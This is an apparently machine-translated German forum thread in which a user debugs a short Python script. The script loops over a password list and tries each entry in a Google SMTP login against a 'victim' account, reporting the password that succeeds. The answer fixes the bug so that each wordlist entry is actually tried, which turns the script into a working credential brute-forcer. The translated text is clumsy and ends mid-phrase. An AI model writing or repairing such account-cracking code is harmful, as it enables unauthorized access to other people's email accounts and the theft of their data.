2016-05-01 7 views
1

Ich machte ein einfaches Programm, das überprüft, ob ein Passwort korrekt ist oder nicht, in einer Schleife. Ich bemerkte, dass mein Versuch Anweisung nicht funktionierte. Hier ist mein Code:Try-Anweisung nicht korrekt ausgeführt?

listfile = open("list.txt","r") 
def trial(): 
    for code in listfile: 
     try: 
      google.login(victim,"none") 
      print("test") 
      print("[!]Trial and error complete. Password is: %s"%code) 
      break 
     except smtplib.SMTPAuthenticationError: 
      print("test") 
      print("Incorrect password:%s"%code) 
trial() 

Ich weiß, dass die versuchen Anweisung funktioniert. Ich habe es getestet, indem ich die Zeile print("Test") hinzugefügt habe, aber es ist nicht aufgetaucht, als ich es ausgeführt habe.

EDIT:

Die try-Anweisung läuft jetzt, aber es wirft immer einen Fehler. Ich weiß, dass es das tut, weil es Zeilen 10 und 11 ausführt, indem "falsches Kennwort:" druckt. Ich sah, dass "Inncorrect password:" gedruckt wurde, auch wenn das eingegebene Passwort richtig war.

+3

sind, dass die Listendatei nicht ist leer? – pushkin

+0

Ja, es hat Zeug drin, aber es hat mehrere Zeilen. –

+0

Was ist der Typ des 'google' Objekts? –

Antwort

1

Ihre Anmeldeinformationen sind nicht korrekt.

In Ihrem try Block haben Sie print("[!]Trial and error complete. Password is: %s" % code)

Aber wenn Sie sich anmelden, Ihr Passwort ist "none": google.login(victim,"none")

ändern, die sicher zu google.login(victim, code) Linie Sie